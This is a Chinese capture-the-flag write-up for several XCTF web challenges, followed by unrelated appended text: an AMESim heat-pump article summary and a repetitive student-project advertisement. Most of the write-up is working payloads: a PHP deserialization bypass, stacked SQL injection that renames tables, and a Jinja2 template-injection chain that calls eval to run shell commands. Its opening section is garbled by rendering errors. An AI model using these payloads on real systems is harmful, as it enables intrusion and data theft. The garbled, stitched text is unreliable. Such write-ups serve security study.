XCTF-web(五)

Web_php_unserialize

在这里插入图片描述

当通过KaTeX parse error: Expected group after '_' at position 42: …erialize,触发魔术方法_̲_wakeup和__destr…this->file)输出文件内容,若KaTeX parse error: Expected group after '_' at position 17: …ile可控,可读取任意文件。 _̲_wakeup 防御:若file不为index.php,会被重置为index.php。可通过属性个数溢出绕过(序列化时声明的属性个数大于实际个数,__wakeup不会执行)。
正则检测:preg_match(‘/[oc]:\d+:/i’, $var)禁止包含o:或c:开头的序列化字符串。可利用NULL 字节截断让正则匹配失败(PHP 中preg_match遇到 NULL 字节会提前终止匹配)。

构造:/index.php?var=?TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在这里插入图片描述

supersqli

在这里插入图片描述

看一下会输出什么

在这里插入图片描述

’1会报错

在这里插入图片描述

1’;show databases – #

在这里插入图片描述

1’;show tables – #

在这里插入图片描述

1’;show columns from 1919810931114514 – #

在这里插入图片描述

1’;rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);-- #
1’ or 1=1 #

在这里插入图片描述

inget

在这里插入图片描述

?id=1’ or 1=1 – #

在这里插入图片描述

web2

在这里插入图片描述

对密文进行 str_rot13 还原:由于 str_rot13 是双向变换,再次应用即可还原。
反转字符串:逆转加密时最后一步的 strrev。
Base64 解码:解开加密时的 base64_encode。
字符 ord 减 1:逆转加密时每个字符 ord+1 的操作。
再次反转字符串:逆转加密时第一步的 strrev。

import base64
def python_decode(string):
    zimu = "abcdefghijklmnopqrstuvwxyz" 
    rot_13 ="" 
    for i in string: 
        if i.isdigit():
            rot_13 += i
        else:
            try:
                rot_13 += zimu[zimu.index(i)-13] 
            except:
                rot_13 += zimu[zimu.index(i.lower())-13].upper()
    fz = rot_13[::-1]
    base = base64.b64decode(fz)
    base = [chr(ord(i)-1) for i in base]
    fz = base[::-1]
    print "".join(fz)

python_decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws")

结果:flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

Web_python_template_injection

在这里插入图片描述

输入/{{7+7}},测试存在模板注入

在这里插入图片描述

/{{‘’.class}}

在这里插入图片描述

/{{‘’.class.mro}}

在这里插入图片描述

/{{‘’.class.base.base.subclasses()}}

在这里插入图片描述

/{{‘’.class.base.base.subclasses()[168]}}

在这里插入图片描述

/{{‘’.class.base.base.subclasses()[145].init.globals.builtins’eval’}}

在这里插入图片描述

/{{‘’.class.base.base.subclasses()[145].init.globals.builtins[‘eval’](‘import(“os”).popen(“cat fl4g”).read()’)}}

在这里插入图片描述

内容概要:本文深入探讨了AMESim仿真平台在电动汽车(EV)热泵空调系统设计与优化中的应用。首先介绍了AMESim的基础建模方法,如构建制冷循环模型中的压缩机、蒸发器和冷凝器等组件,并详细解释了各部件的工作原理及其参数设定。接着重点阐述了EV热泵空调系统的特殊之处,即不仅能够制冷还可以在冬季提供高效的制热功能,这对于提高电动汽车在寒冷条件下的续航里程和乘坐舒适性非常重要。文中给出了几个具体的案例,包括通过改变压缩机运行频率来进行性能优化,以及针对低温环境下热泵系统的控制策略,如四通阀切换逻辑、电子膨胀阀开度调节等。此外,还讨论了热泵系统与其他子系统(如电池温控)之间的协同工作方式,强调了系统集成的重要性。最后分享了一些实用的经验技巧,例如如何避免仿真过程中可能出现的问题,怎样评估系统的整体性能等。 适合人群:从事汽车工程、暖通空调(HVAC)领域的研究人员和技术人员,特别是关注新能源汽车热管理系统的专业人士。 使用场景及目标:适用于希望深入了解电动汽车热泵空调系统特性的工程师们,旨在帮助他们掌握基于AMESim进行系统建模、仿真分析的方法论,以便更好地指导实际产品研发。 阅读建议:由于涉及到较多的专业术语和技术细节,建议读者具备一定的机械工程背景知识,同时配合官方文档或其他参考资料一起研读,以加深理解。
期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目),个人经导师指导并认可通过的高分设计项目,评审分99分,代码完整确保可以运行,小白也可以亲自搞定,主要针对计算机相关专业的正在做大作业的学生和需要项目实战练习的学习者,可作为毕业设计、课程设计、期末大作业,代码资料完整,下载可用。 期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目)期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目)期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目)期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目)期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目)期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目)期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目)期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目)期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目)期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目)期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目)期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目)期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目)期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目)期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目)期末作业Python实现基于图神经网络的信任评估项目源代码+使用说明(高分项目)期末作
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值